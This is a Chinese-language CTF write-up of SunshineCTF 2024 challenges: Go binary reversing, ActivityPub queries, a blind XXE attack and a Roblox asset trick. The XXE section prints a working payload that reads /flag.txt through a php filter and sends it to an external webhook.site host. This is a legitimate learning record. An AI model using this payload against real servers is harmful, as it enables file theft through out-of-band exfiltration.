SunshineCTF 2024 Write Up

Before all

Rank: 10
Team: WAN
一年了,真快…
遙想去年這時候我還在跟初次組隊的隊友 @cakeisthefake_naup 和 @cakeisthefake_aukro 半夜兩點研究怎麼拆100分題的git bundle … 這一年來真的進步很多,從這場對於我們意義重大的比賽可見一斑:從76名殺到前十欸!

該怎麼說呢,打CTF積累的歡樂感好像在這兩天傾巢而出,雖然Web狗沒什麼人權所以我跑去逆golang web,未來也有很長很長要走,繼續開心的學吧w

再一次深深感謝兩位隊友和其他這一年的同儕ㄌ,這一年沒有你們一起共學、吐槽/抒發各種事情和打鬧我想我可能也沒辦法走的那麼開心。而時不時被我諮詢的前輩大大們也是我學習的一大助力,不然好多東西和學習方向其實我本來也亂亂的,大感謝!!!

P.S. 看自己一年前寫的Write Up和心得感到>/////<是正常的ㄇ XD

image

這份wp只會挑重點的題目寫,其他我在95號公路speed run pwn題的紀錄和Crypto通靈紀就先算了XD

Dungeon Keymaster

結果打開是一個Web
image

image

檢視原始碼,找到Amazon s3 bucket,連進去就看到app檔案了
image
丟IDA看看:
重點觀察Main裡面的函數
image

main.checkKey

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
// main.checkKey
_BOOL8 __golang main_checkKey(
__int64 a1,
unsigned __int64 a2,
__int64 a3,
__int64 a4,
__int64 a5,
__int64 a6,
int a7,
int a8,
int a9)
{
__int64 v9; // r14
void *v10; // rbx
__int64 v11; // rax
char v13[40]; // [rsp+58h] [rbp-28h] BYREF
void *retaddr; // [rsp+80h] [rbp+0h] BYREF
__int64 v15; // [rsp+88h] [rbp+8h]
__int64 v16; // [rsp+88h] [rbp+8h]

while ( (unsigned __int64)&retaddr <= *(_QWORD *)(v9 + 16) )
{
v16 = a1;
runtime_morestack_noctxt();
a1 = v16;
}
v15 = a1;
strings_genSplit(a1, a2, (__int64)&unk_7AC959, 1LL, 0LL, -1LL, a7, a8, a9);
if ( a2 != 3 )
return 0LL;
v10 = off_A82830;
v11 = runtime_concatstring5(
(__int64)v13,
(__int64)off_A82830,
qword_A82838,
(unsigned int)&unk_7AC959,
1LL,
(__int64)off_A82840,
qword_A82848,
(__int64)&unk_7AC959,
1LL,
(__int64)off_A82850,
qword_A82858);
return v10 == &unk_3 && (unsigned __int8)runtime_memequal(v15, v11);
}

抓一抓資料,unk_7AC959是一個-的字元,然後strings.genSplit在GoLang就是split…,同理對於runtime_concatstring5
判斷一下邏輯就會發現要讓使用者提供的v15==v11,撈資料!

這邊要稍微注意一點,off_A82830和off_A82850上面的資料都是串在一起的:

image

所以再從函數的參數推論一些事情:
image

往data段找那些中間的參數,都是數字,可以合理推斷是字串長度。

最後輸入組合起來的密碼(/dungeon-8734-http://localhost:8734),會被提示可以到/dungeon找flag
image

分析main.handleDungeon
直接進到網站會變這樣:
image

注意這段程式碼
image

net_url__ptr_URL_Query 就是用來 parse GET Query 的,而v42本來是個很長的字串,但被set了一個len=3,也就是前三位的key
最後只需要造訪

1
https://keymaster.2024.sunshinectf.games/dungeon?key=/dungeon-8734-http://localhost:8734

即可拿到flag!
image

BotNet 1

Activitypub正是這幾年興起的聯邦式網路,而這題就是一個Activitypub架構的服務
SPEC:https://www.w3.org/TR/activitypub/
有兩個users rin和miku,爆破看看還有哪些user找到actor
image
進去就是服務資訊,知道flag在miku和rin那邊,接著就是痛苦的spec reading time

翻一翻就看到這段了,要開Accept才收的到啊…
image

1
curl https://botnet.2024.sunshinectf.games/users/rin --header "Accept: application/activity+json" --insecure

image
然後根本沒有Oauth

BotNet 2

賽後解
那時候準備微積分小考就沒打ㄌ,本場小失分(就差這題破台web)
用第一題作法會說訊息沒簽章,可以自己用官方的activitypub sign簽一個過去,但最快的方法是用browser.pub看https://botnet.2024.sunshinectf.games/users/miku

image

Puzzling

一個sodoku網站,能用xml格式傳題目上去,但是想XXE會吃400,要Blond XXE
我是用引入外部 dtd + php filter 的經典招去讀檔,payload如下:
webhook內容:

1
<!ENTITY % dtd "<!ENTITY &#x25; xxe  SYSTEM 'https://webhook.site/8a3afb37-f34e-49ed-8a1c-a6138c7fe319/?content=%file;%27%3E ">

送出的:

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag.txt">
<!ENTITY % load SYSTEM "https://webhook.site/8a3afb37-f34e-49ed-8a1c-a6138c7fe319/1.dtd">
%load;
%dtd;
%xxe;
]>

webhook get flag XD

rogue robloxians

那到一個Roblox遊戲連結 https://www.roblox.com/games/102169837739752/Flag-Generator
載下來發現一個generateFlag
image

點開來發現這個

image

應該是要調整版本,去google找到這個:https://www.youtube.com/watch?v=a3qFCngoSLk

payload:
https://assetdelivery.roblox.com/v1/asset/?id=102169837739752&version=2
載下來直接string就拿到flag了
image